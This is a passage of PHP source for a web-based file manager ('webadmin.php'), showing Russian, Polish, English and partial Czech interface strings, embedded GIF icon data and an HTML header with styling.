\"[%1]\" byl spu\xc5\xa1t\xc4\x9bn :\n{%2}", "not_executed" => "Soubor \"[%1]\" nemohl b\xc3\xbdt spu\xc5\xa1t\xc4\x9bn:\n{%2}", "saved" => "Soubor \"[%1]\" byl ulo\xc5\xbeen.", "not_saved" => "Soubor \"[%1]\" nemohl b\xc3\xbdt ulo\xc5\xbeen.", "symlinked" => "Byl vyvo\xc5\x99en symbolick\xc3\xbd odkaz \"[%2]\" na soubor \"[%1]\".", "not_symlinked" => "Symbolick\xc3\xbd odkaz \"[%2]\" na soubor \"[%1]\" nemohl b\xc3\xbdt vytvo\xc5\x99en.", "permission_for" => "Pr\xc3\xa1va k \"[%1]\":", "permission_set" => "Pr\xc3\xa1va k \"[%1]\" byla zm\xc4\x9bn\xc4\x9bna na [%2].", "permission_not_set" => "Pr\xc3\xa1va k \"[%1]\" nemohla b\xc3\xbdt zm\xc4\x9bn\xc4\x9bna na [%2].", "not_readable" => "Soubor \"[%1]\" nen\xc3\xad mo\xc5\xbeno p\xc5\x99e\xc4\x8d\xc3\xadst.");
case 'ru':
$date_format = 'd.m.y H:i:s';
return array("directory" => "\xd0\x9a\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3", "file" => "\xd0\xa4\xd0\xb0\xd0\xb9\xd0\xbb", "filename" => "\xd0\x98\xd0\xbc\xd1\x8f \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd0\xb0", "size" => "\xd0\xa0\xd0\xb0\xd0\xb7\xd0\xbc\xd0\xb5\xd1\x80", "permission" => "\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0", "owner" => "\xd0\xa5\xd0\xbe\xd0\xb7\xd1\x8f\xd0\xb8\xd0\xbd", "group" => "\xd0\x93\xd1\x80\xd1\x83\xd0\xbf\xd0\xbf\xd0\xb0", "other" => "\xd0\x94\xd1\x80\xd1\x83\xd0\xb3\xd0\xb8\xd0\xb5", "functions" => "\xd0\xa4\xd1\x83\xd0\xbd\xd0\xba\xd1\x86\xd0\xb8\xd1\x8f", "read" => "\xd1\x87\xd0\xb8\xd1\x82\xd0\xb0\xd1\x82\xd1\x8c", "write" => "\xd0\xbf\xd0\xb8\xd1\x81\xd0\xb0\xd1\x82\xd1\x8c", "execute" => "\xd0\xb2\xd1\x8b\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c", "create_symlink" => "\xd0\xa1\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c \xd1\x81\xd0\xb8\xd0\xbc\xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba", "delete" => "\xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd1\x8c", "rename" => "\xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c", "move" => "\xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8c", "copy" => "\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c", "edit" => "\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb0\xd0\xba\xd1\x82\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c", "download" => "\xd1\x81\xd0\xba\xd0\xb0\xd1\x87\xd0\xb0\xd1\x82\xd1\x8c", "upload" => "\xd0\xb7\xd0\xb0\xd0\xba\xd0\xb0\xd1\x87\xd0\xb0\xd1\x82\xd1\x8c", "create" => "\xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c", "change" => "\xd0\xbf\xd0\xbe\xd0\xbc\xd0\xb5\xd0\xbd\xd1\x8f\xd1\x82\xd1\x8c", "save" => "\xd1\x81\xd0\xbe\xd1\x85\xd1\x80\xd0\xb0\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c", "set" => "\xd1\x83\xd1\x81\xd1\x82\xd0\xb0\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb8\xd1\x82\xd1\x8c", "reset" => "\xd1\x81\xd0\xb1\xd1\x80\xd0\xbe\xd1\x81\xd0\xb8\xd1\x82\xd1\x8c", "relative" => "\xd0\xbe\xd1\x82\xd0\xbd\xd0\xbe\xd1\x81\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd1\x8c\xd0\xbd\xd1\x8b\xd0\xb9 \xd0\xbf\xd1\x83\xd1\x82\xd1\x8c \xd0\xba \xd1\x86\xd0\xb5\xd0\xbb\xd0\xb8", "yes" => "\xd0\xb4\xd0\xb0", "no" => "\xd0\xbd\xd0\xb5\xd1\x82", "back" => "\xd0\xbd\xd0\xb0\xd0\xb7\xd0\xb0\xd0\xb4", "destination" => "\xd1\x86\xd0\xb5\xd0\xbb\xd1\x8c", "symlink" => "\xd1\x81\xd0\xb8\xd0\xbc\xd0\xb2\xd0\xbe\xd0\xbb\xd0\xb8\xd1\x87\xd0\xb5\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba", "no_output" => "\xd0\xbd\xd0\xb5\xd1\x82 \xd0\xb2\xd1\x8b\xd0\xb2\xd0\xbe\xd0\xb4\xd0\xb0", "user" => "\xd0\x9f\xd0\xbe\xd0\xbb\xd1\x8c\xd0\xb7\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd0\xb5\xd0\xbb\xd1\x8c", "password" => "\xd0\x9f\xd0\xb0\xd1\x80\xd0\xbe\xd0\xbb\xd1\x8c", "add" => "\xd0\xb4\xd0\xbe\xd0\xb1\xd0\xb0\xd0\xb2\xd0\xb8\xd1\x82\xd1\x8c", "add_basic_auth" => "\xd0\x94\xd0\xbe\xd0\xb1\xd0\xb0\xd0\xb2\xd0\xb8\xd1\x82\xd1\x8c HTTP-Basic-Auth", "uploaded" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd0\xb7\xd0\xb0\xd0\xba\xd0\xb0\xd1\x87\xd0\xb5\xd0\xbd.", "not_uploaded" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xb7\xd0\xb0\xd0\xba\xd0\xb0\xd1\x87\xd1\x8f\xd1\x82\xd1\x8c.", "already_exists" => "\"[%1]\" \xd1\x83\xd0\xb6\xd0\xb5 \xd1\x81\xd1\x83\xd1\x89\xd0\xb5\xd1\x81\xd1\x82\xd0\xb2\xd1\x83\xd0\xb5\xd1\x82.", "created" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd0\xbd.", "not_created" => "\"[%1]\" \xd0\xbd\xd0\xb5 \xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c.", "really_delete" => "\xd0\x94\xd0\xb5\xd0\xb9\xd1\x81\xd1\x82\xd0\xb2\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd1\x8c\xd0\xbd\xd0\xbe \xd1\x8d\xd1\x82\xd0\xbe\xd1\x82 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd1\x8c?", "deleted" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb5\xd0\xbd\xd1\x8b:\n[%1]", "not_deleted" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5 \xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x83\xd0\xb4\xd0\xb0\xd0\xbb\xd0\xb8\xd1\x82\xd1\x8c:\n[%1]", "rename_file" => "\xd0\x9f\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd1\x8b\xd0\xb2\xd0\xb0\xd1\x8e \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb:", "renamed" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd \xd0\xbd\xd0\xb0 \"[%2]\".", "not_renamed" => "\"[%1] \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb8\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c \xd0\xbd\xd0\xb0 \"[%2]\".", "move_files" => "\xd0\x9f\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xb3\xd0\xb0\xd1\x8e \xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b:", "moved" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8b \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\":\n[%1]", "not_moved" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xbf\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xbd\xd1\x83\xd1\x82\xd1\x8c \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\":\n[%1]", "copy_files" => "\xd0\x9a\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd1\x83\xd1\x8e \xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b:", "copied" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xb1\xd1\x8b\xd0\xbb\xd1\x8b \xd1\x81\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd\xd1\x8b \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\" :\n[%1]", "not_copied" => "\xd0\xa1\xd0\xbb\xd0\xb5\xd0\xb4\xd1\x83\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb5 \xd1\x84\xd0\xb0\xd0\xb9\xd0\xbb\xd1\x8b \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x81\xd0\xba\xd0\xbe\xd0\xbf\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd1\x8c \xd0\xb2 \xd0\xba\xd0\xb0\xd1\x82\xd0\xb0\xd0\xbb\xd0\xbe\xd0\xb3 \"[%2]\" :\n[%1]", "not_edited" => "\"[%1]\" \xd0\xbd\xd0\xb5 \xd0\xbc\xd0\xbe\xd0\xb6\xd0\xb5\xd1\x82 \xd0\xb1\xd1\x8b\xd1\x82\xd1\x8c \xd0\xbe\xd1\x82\xd1\x80\xd0\xb5\xd0\xb4\xd0\xb0\xd0\xba\xd1\x82\xd0\xb8\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd.", "executed" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x83\xd1\x81\xd0\xbf\xd0\xb5\xd1\x88\xd0\xbd\xd0\xbe \xd0\xb8\xd1\x81\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb5\xd0\xbd:\n{%2}", "not_executed" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xb7\xd0\xb0\xd0\xbf\xd1\x83\xd1\x81\xd1\x82\xd0\xb8\xd1\x82\xd1\x8c \xd0\xbd\xd0\xb0 \xd0\xb8\xd1\x81\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xbd\xd0\xb5\xd0\xbd\xd0\xb8\xd0\xb5:\n{%2}", "saved" => "\"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x81\xd0\xbe\xd1\x85\xd1\x80\xd0\xb0\xd0\xbd\xd0\xb5\xd0\xbd.", "not_saved" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x81\xd0\xbe\xd1\x85\xd1\x80\xd0\xb0\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c.", "symlinked" => "\xd0\xa1\xd0\xb8\xd0\xbc\xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba \xd1\x81 \"[%2]\" \xd0\xbd\xd0\xb0 \"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd0\xbd.", "not_symlinked" => "\xd0\x9d\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd1\x81\xd0\xb4\xd0\xb5\xd0\xbb\xd0\xb0\xd1\x82\xd1\x8c \xd1\x81\xd0\xb8\xd0\xbc\xd0\xbb\xd0\xb8\xd0\xbd\xd0\xba \xd1\x81 \"[%2]\" \xd0\xbd\xd0\xb0 \"[%1]\".", "permission_for" => "\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf\xd0\xb0 \"[%1]\":", "permission_set" => "\xd0\x9f\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf\xd0\xb0 \"[%1]\" \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xb8 \xd0\xb8\xd0\xb7\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xb5\xd0\xbd\xd1\x8b \xd0\xbd\xd0\xb0 [%2].", "permission_not_set" => "\xd0\x9d\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xb1\xd1\x8b\xd0\xbb\xd0\xbe \xd0\xb8\xd0\xb7\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xb8\xd1\x82\xd1\x8c \xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd1\x83\xd0\xbf\xd0\xb0 \xd0\xba \"[%1]\" \xd0\xbd\xd0\xb0 [%2] .", "not_readable" => "\"[%1]\" \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbe\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe \xd0\xbf\xd1\x80\xd0\xbe\xd1\x87\xd0\xb8\xd1\x82\xd0\xb0\xd1\x82\xd1\x8c.");
case 'pl':
$date_format = 'd.m.y H:i:s';
return array("directory" => "Katalog", "file" => "Plik", "filename" => "Nazwa pliku", "size" => "Rozmiar", "permission" => "Uprawnienia", "owner" => "W\xc5\x82a\xc5\x9bciciel", "group" => "Grupa", "other" => "Inni", "functions" => "Funkcje", "read" => "odczyt", "write" => "zapis", "execute" => "wykonywanie", "create_symlink" => "utw\xc3\xb3rz dowi\xc4\x85zanie symboliczne", "delete" => "kasuj", "rename" => "zamie\xc5\x84", "move" => "przenie\xc5\x9b", "copy" => "kopiuj", "edit" => "edytuj", "download" => "pobierz", "upload" => "Prze\xc5\x9blij", "create" => "Utw\xc3\xb3rz", "change" => "Zmie\xc5\x84", "save" => "Zapisz", "set" => "wykonaj", "reset" => "wyczy\xc5\x9b\xc4\x87", "relative" => "wzgl\xc4\x99dna \xc5\x9bcie\xc5\xbcka do celu", "yes" => "Tak", "no" => "Nie", "back" => "cofnij", "destination" => "miejsce przeznaczenia", "symlink" => "dowi\xc4\x85zanie symboliczne", "no_output" => "nie ma wyj\xc5\x9bcia", "user" => "Urzytkownik", "password" => "Has\xc5\x82o", "add" => "dodaj", "add_basic_auth" => "dodaj podstawowe uwierzytelnianie", "uploaded" => "\"[%1]\" zosta\xc5\x82 przes\xc5\x82any.", "not_uploaded" => "\"[%1]\" nie mo\xc5\xbce by\xc4\x87 przes\xc5\x82ane.", "already_exists" => "\"[%1]\" ju\xc5\xbc istnieje.", "created" => "\"[%1]\" zosta\xc5\x82 utworzony.", "not_created" => "\"[%1]\" nie mo\xc5\xbcna utworzy\xc4\x87.", "really_delete" => "usun\xc4\x85\xc4\x87 te pliki?", "deleted" => "Pliki zosta\xc5\x82y usuni\xc4\x99te:\n[%1]", "not_deleted" => "Te pliki nie mog\xc4\x85 by\xc4\x87 usuni\xc4\x99te:\n[%1]", "rename_file" => "Zmie\xc5\x84 nazw\xc4\x99 pliku:", "renamed" => "\"[%1]\" zosta\xc5\x82o zmienione na \"[%2]\".", "not_renamed" => "\"[%1] nie mo\xc5\xbcna zmieni\xc4\x87 na \"[%2]\".", "move_files" => "Przenie\xc5\x9b te pliki:", "moved" => "Pliki zosta\xc5\x82y przeniesione do \"[%2]\":\n[%1]", "not_moved" => "Pliki nie mog\xc4\x85 by\xc4\x87 przeniesione do \"[%2]\":\n[%1]", "copy_files" => "Skopiuj te pliki:", "copied" => "Pliki zosta\xc5\x82y skopiowane \"[%2]\":\n[%1]", "not_copied" => "Te pliki nie mog\xc4\x85 by\xc4\x87 kopiowane do \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" nie mo\xc5\xbcna edytowa\xc4\x87.", "executed" => "\"[%1]\" zosta\xc5\x82o wykonane pomy\xc5\x9blnie:\n{%2}", "not_executed" => "\"[%1]\" nie mo\xc5\xbce by\xc4\x87 wykonane:\n{%2}", "saved" => "\"[%1]\" zosta\xc5\x82 zapisany.", "not_saved" => "\"[%1]\" nie mo\xc5\xbcna zapisa\xc4\x87.", "symlinked" => "Dowi\xc4\x85zanie symboliczne \"[%2]\" do \"[%1]\" zosta\xc5\x82o utworzone.", "not_symlinked" => "Dowi\xc4\x85zanie symboliczne \"[%2]\" do \"[%1]\" nie moze by\xc4\x87 utworzone.", "permission_for" => "Uprawnienia \"[%1]\":", "permission_set" => "Uprawnienia \"[%1]\" zosta\xc5\x82y ustalone na [%2].", "permission_not_set" => "Uprawnienia \"[%1]\" nie mog\xc4\x85 by\xc4\x87 ustawione na [%2].", "not_readable" => "\"[%1]\" nie mo\xc5\xbcna odczyta\xc4\x87.");
case 'en':
default:
$date_format = 'n/j/y H:i:s';
return array("directory" => "Directory", "file" => "File", "filename" => "Filename", "size" => "Size", "permission" => "Permission", "owner" => "Owner", "group" => "Group", "other" => "Others", "functions" => "Functions", "read" => "read", "write" => "write", "execute" => "execute", "create_symlink" => "create symlink", "delete" => "delete", "rename" => "rename", "move" => "move", "copy" => "copy", "edit" => "edit", "download" => "download", "upload" => "upload", "create" => "create", "change" => "change", "save" => "save", "set" => "set", "reset" => "reset", "relative" => "Relative path to target", "yes" => "Yes", "no" => "No", "back" => "back", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "add", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" has been uploaded.", "not_uploaded" => "\"[%1]\" could not be uploaded.", "already_exists" => "\"[%1]\" already exists.", "created" => "\"[%1]\" has been created.", "not_created" => "\"[%1]\" could not be created.", "really_delete" => "Delete these files?", "deleted" => "These files have been deleted:\n[%1]", "not_deleted" => "These files could not be deleted:\n[%1]", "rename_file" => "Rename file:", "renamed" => "\"[%1]\" has been renamed to \"[%2]\".", "not_renamed" => "\"[%1] could not be renamed to \"[%2]\".", "move_files" => "Move these files:", "moved" => "These files have been moved to \"[%2]\":\n[%1]", "not_moved" => "These files could not be moved to \"[%2]\":\n[%1]", "copy_files" => "Copy these files:", "copied" => "These files have been copied to \"[%2]\":\n[%1]", "not_copied" => "These files could not be copied to \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" can not be edited.", "executed" => "\"[%1]\" has been executed successfully:\n{%2}", "not_executed" => "\"[%1]\" could not be executed successfully:\n{%2}", "saved" => "\"[%1]\" has been saved.", "not_saved" => "\"[%1]\" could not be saved.", "symlinked" => "Symlink from \"[%2]\" to \"[%1]\" has been created.", "not_symlinked" => "Symlink from \"[%2]\" to \"[%1]\" could not be created.", "permission_for" => "Permission of \"[%1]\":", "permission_set" => "Permission of \"[%1]\" was set to [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" can not be read.");
}
}
function getimage($image)
{
switch ($image) {
case 'file':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
case 'folder':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02*\x9c\x8f\x99\xc0\xac\x1bb\x04\xcf\xb4\x8b\x9d\x95\xbc\v:\x00\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\x19\xcf\xb4k\xb7a\x8e\x1e\xd9o(\x00\x00;\x00";
case 'hidden_file':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\xcc\x00\x00\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
case 'link':
return "GIF89a\x11\x00\r\x00\xa2\x04\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xcc\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\xe8\x03\x04\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x039H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\x04\xd8RYM8\r\x03\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\x05/[\xa7'\x01\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\x00\x00;\x00";
case 'smiley':
return "GIF89a\x11\x00\r\x00\x91\x02\x00\x00\x00\x00\xff\xff\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\xe8\x03\x02\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02,\x94\x8f\xa9\x02\xed\xb0\f\x08\xb3\xd25\x83\xde\x1a\xa6\x076_\xd5P\xa5x\x94\x1c\x87J\xe4vzi\x07wJf\xe22\x82\xb3\x11\x13\xfa\t\x0f\x05\x00;\x00";
case 'arrow':
return "GIF89a\x11\x00\r\x00\x80\x01\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\n\x00\x01\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02\x1d\x8c\x0fp\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\x18I\x88\x8d\xe6\x08\x9e\xa8\xb6\xb2\$\xc7\x14\x00;";
}
}
function html_header()
{
global $site_charset;
echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />
<title>webadmin.php</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>
</head>
<body>
END;
}
function html_footer()
{
